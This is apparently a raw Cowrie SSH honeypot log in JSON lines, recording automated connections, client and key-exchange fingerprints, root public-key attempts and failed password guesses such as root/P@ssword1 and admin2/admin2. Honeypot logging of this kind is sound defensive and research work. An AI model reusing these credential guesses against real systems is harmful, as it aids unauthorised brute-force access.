{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:49:31:1a:45:4d:55:86:5f:6c:1a:dc:90:9e:c3:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmLgxy7q1BxJlB0lkjDdQ37mD+ZcWmkNa3gpDE25zZDwlvgTg+i+dHAvy4zd4V4hY6Y7IYVsz15lOxIM+7L/xEx4o0C+XZ4aZN3p67tivqcmE+VXb5ZJSExlnZPtPv0XKtUVn2JKrr5e71+8eCt4yzkdx1a3G5+1ZTbjrj4y96SBH23V7laFTQrgG4dekvXi3EgmxK5eZ4gklZIH7Rp6/DrzLENMb/1ZfgrCsrkYbqbPgupNmjaKpzyfNRUPtM24OY+ZNfNcEaFrLzJNsfrNn/uu814ODsBLDzH0/yemA+5pmCvvAdU5TiscC4aQpB7MTqlsrEjXtRz9Xoh2CHA9H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:49:31:1a:45:4d:55:86:5f:6c:1a:dc:90:9e:c3:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.733470Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:49:31:1a:45:4d:55:86:5f:6c:1a:dc:90:9e:c3:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmLgxy7q1BxJlB0lkjDdQ37mD+ZcWmkNa3gpDE25zZDwlvgTg+i+dHAvy4zd4V4hY6Y7IYVsz15lOxIM+7L/xEx4o0C+XZ4aZN3p67tivqcmE+VXb5ZJSExlnZPtPv0XKtUVn2JKrr5e71+8eCt4yzkdx1a3G5+1ZTbjrj4y96SBH23V7laFTQrgG4dekvXi3EgmxK5eZ4gklZIH7Rp6/DrzLENMb/1ZfgrCsrkYbqbPgupNmjaKpzyfNRUPtM24OY+ZNfNcEaFrLzJNsfrNn/uu814ODsBLDzH0/yemA+5pmCvvAdU5TiscC4aQpB7MTqlsrEjXtRz9Xoh2CHA9H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.737825Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:6f:33:9b:f5:8d:d3:fb:e8:ee:08:79:c7:08:45:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCi15kLxxG41NBug2R5MFf679WmDTH2zYew37D9qayw9hU0IxWNiEnespEqVrphglu61giGhzhjZzwIwn0BkiUqDYinA6WEuC4wdEFIhE9LiS3/eBQa4DNEXuWQZLL5DcTSH2KmPJ21wC39/ddadLBzlS2wmbh6eDvITbVtLIO1thnwzOrId5WV+oLmEtd7Ic6xkiv2ysTlGhYc+MdAz9DoytpQOKFk3zkHc6eUqm0svGYJ53oaBCwYm3z+rlFjdZNI1PSWIPDRzanTbJPFA96FqRmxZkKFsXN51g6D+8du0mnAidbO5HRdKk7YxOXl1/djmNl4OFaN71+5I8DdZF1P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:6f:33:9b:f5:8d:d3:fb:e8:ee:08:79:c7:08:45:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.768033Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:6f:33:9b:f5:8d:d3:fb:e8:ee:08:79:c7:08:45:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCi15kLxxG41NBug2R5MFf679WmDTH2zYew37D9qayw9hU0IxWNiEnespEqVrphglu61giGhzhjZzwIwn0BkiUqDYinA6WEuC4wdEFIhE9LiS3/eBQa4DNEXuWQZLL5DcTSH2KmPJ21wC39/ddadLBzlS2wmbh6eDvITbVtLIO1thnwzOrId5WV+oLmEtd7Ic6xkiv2ysTlGhYc+MdAz9DoytpQOKFk3zkHc6eUqm0svGYJ53oaBCwYm3z+rlFjdZNI1PSWIPDRzanTbJPFA96FqRmxZkKFsXN51g6D+8du0mnAidbO5HRdKk7YxOXl1/djmNl4OFaN71+5I8DdZF1P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.772493Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:d8:ec:58:e9:1a:59:56:0f:f2:6f:c9:bf:55:fa:17","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJP0vnx11TdJcrOiaX57+05lbg8BwOsxNKwtLtK75qeB","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a0:d8:ec:58:e9:1a:59:56:0f:f2:6f:c9:bf:55:fa:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.804616Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:d8:ec:58:e9:1a:59:56:0f:f2:6f:c9:bf:55:fa:17","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJP0vnx11TdJcrOiaX57+05lbg8BwOsxNKwtLtK75qeB","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.809704Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:9f:9c:bc:75:78:76:57:36:6c:6d:70:ae:1e:5c:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA19AXgpWdUa8dFEFxFelsb0576ZXyfSd5OzkOtuPi3kwmchrdwpPIIx2MIlpLYTwGWIW9yGAmQg7+fkL3nd0MLfDcJUrZBhlLFHGOQ+/f/EbrPdUiLeaPXUKDPfl2+wkJzpZeIgWs0XJll5hlVAPyTAvXBbCa45OQySj1z0HBiAOu2WX0A5/LMN/gCTQxAWoaGWQyf6Cxfh013wVn11AZvHCJexQa+1245LUWU9325ggnoZlhsud1Xv27Lg5NCeplhDddwHATrozUngE4RMpDK5djKFvCKroxFnTuIFlKgLlfWO2RQ82O1lXfYxzh2gDwi7/57zWIYP90kWY6SiorKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:9f:9c:bc:75:78:76:57:36:6c:6d:70:ae:1e:5c:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.842888Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:9f:9c:bc:75:78:76:57:36:6c:6d:70:ae:1e:5c:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA19AXgpWdUa8dFEFxFelsb0576ZXyfSd5OzkOtuPi3kwmchrdwpPIIx2MIlpLYTwGWIW9yGAmQg7+fkL3nd0MLfDcJUrZBhlLFHGOQ+/f/EbrPdUiLeaPXUKDPfl2+wkJzpZeIgWs0XJll5hlVAPyTAvXBbCa45OQySj1z0HBiAOu2WX0A5/LMN/gCTQxAWoaGWQyf6Cxfh013wVn11AZvHCJexQa+1245LUWU9325ggnoZlhsud1Xv27Lg5NCeplhDddwHATrozUngE4RMpDK5djKFvCKroxFnTuIFlKgLlfWO2RQ82O1lXfYxzh2gDwi7/57zWIYP90kWY6SiorKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.846968Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:c0:9c:ae:80:e9:8c:66:62:69:14:10:89:48:f5:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAm1/4XAzCBFVVsb3kOKGetVwcNYhgB19sRzGnCHGPOpQxVUEfuEn999c/dhqg93vo+2l6fSEkuZcDIDMnQy5Ii6qEffX2JLdu4JEByhfdGFBT7Q7cQ34ltWPV2gpaNNRlwo+ZgA3ucTvpVdfitrPo7V2IOWojfkYTKlr3DwIewj7JpVAGMqd0t5Kw905Q8WP8vFc0HFO2yw0a402S59sixJe64O8tcaXZx4Qok1CHr0l9+4U+zIPamEsk7TjAbF1JkOm/p/v9lysdcUo2ioe+fJFQzNf9bDsOIdj0IScHQ1pSizM8IqIub58lHyjSXzoI6PxuGTC7XZrIJ9Et2Z84CQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:c0:9c:ae:80:e9:8c:66:62:69:14:10:89:48:f5:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.876503Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:c0:9c:ae:80:e9:8c:66:62:69:14:10:89:48:f5:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAm1/4XAzCBFVVsb3kOKGetVwcNYhgB19sRzGnCHGPOpQxVUEfuEn999c/dhqg93vo+2l6fSEkuZcDIDMnQy5Ii6qEffX2JLdu4JEByhfdGFBT7Q7cQ34ltWPV2gpaNNRlwo+ZgA3ucTvpVdfitrPo7V2IOWojfkYTKlr3DwIewj7JpVAGMqd0t5Kw905Q8WP8vFc0HFO2yw0a402S59sixJe64O8tcaXZx4Qok1CHr0l9+4U+zIPamEsk7TjAbF1JkOm/p/v9lysdcUo2ioe+fJFQzNf9bDsOIdj0IScHQ1pSizM8IqIub58lHyjSXzoI6PxuGTC7XZrIJ9Et2Z84CQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.881860Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.914257Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:01.254175Z","src_ip":"192.109.200.237","session":"aa61c91ca971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33708,"dst_ip":"159.203.135.109","dst_port":22,"session":"779e49902ee3","protocol":"ssh","message":"New connection: 192.109.200.237:33708 (159.203.135.109:22) [session: 779e49902ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:02.793575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:02.798620Z","src_ip":"192.109.200.237","session":"779e49902ee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:02.882344Z","src_ip":"192.109.200.237","session":"779e49902ee3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:03.133120Z","src_ip":"192.109.200.237","session":"779e49902ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:04.295112Z","src_ip":"192.109.200.237","session":"779e49902ee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33732,"dst_ip":"159.203.135.109","dst_port":22,"session":"76e743cd631f","protocol":"ssh","message":"New connection: 192.109.200.237:33732 (159.203.135.109:22) [session: 76e743cd631f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:05.901129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:05.906677Z","src_ip":"192.109.200.237","session":"76e743cd631f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:05.994037Z","src_ip":"192.109.200.237","session":"76e743cd631f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:06.358736Z","src_ip":"192.109.200.237","session":"76e743cd631f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:07.444370Z","src_ip":"192.109.200.237","session":"76e743cd631f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33750,"dst_ip":"159.203.135.109","dst_port":22,"session":"c11140158a52","protocol":"ssh","message":"New connection: 192.109.200.237:33750 (159.203.135.109:22) [session: c11140158a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:09.048534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:09.053186Z","src_ip":"192.109.200.237","session":"c11140158a52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:09.136694Z","src_ip":"192.109.200.237","session":"c11140158a52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:09.387460Z","src_ip":"192.109.200.237","session":"c11140158a52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:10.474078Z","src_ip":"192.109.200.237","session":"c11140158a52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":50560,"dst_ip":"10.17.0.5","dst_port":22,"session":"73829f55208f","protocol":"ssh","message":"New connection: 103.27.238.114:50560 (10.17.0.5:22) [session: 73829f55208f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:11.227303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:11.231805Z","src_ip":"103.27.238.114","session":"73829f55208f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:11.494936Z","src_ip":"103.27.238.114","session":"73829f55208f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44686,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5717c373601","protocol":"ssh","message":"New connection: 192.109.200.237:44686 (159.203.135.109:22) [session: a5717c373601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:12.057931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:12.063051Z","src_ip":"192.109.200.237","session":"a5717c373601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:12.145531Z","src_ip":"192.109.200.237","session":"a5717c373601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zasada","message":"login attempt [root/zasada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:12.273701Z","src_ip":"103.27.238.114","session":"73829f55208f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:12.394422Z","src_ip":"192.109.200.237","session":"a5717c373601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:13.480051Z","src_ip":"192.109.200.237","session":"a5717c373601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:13.535963Z","src_ip":"103.27.238.114","session":"73829f55208f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44696,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2cb802b5f63","protocol":"ssh","message":"New connection: 192.109.200.237:44696 (159.203.135.109:22) [session: f2cb802b5f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:15.175444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:15.185817Z","src_ip":"192.109.200.237","session":"f2cb802b5f63","protocol":"ssh"}
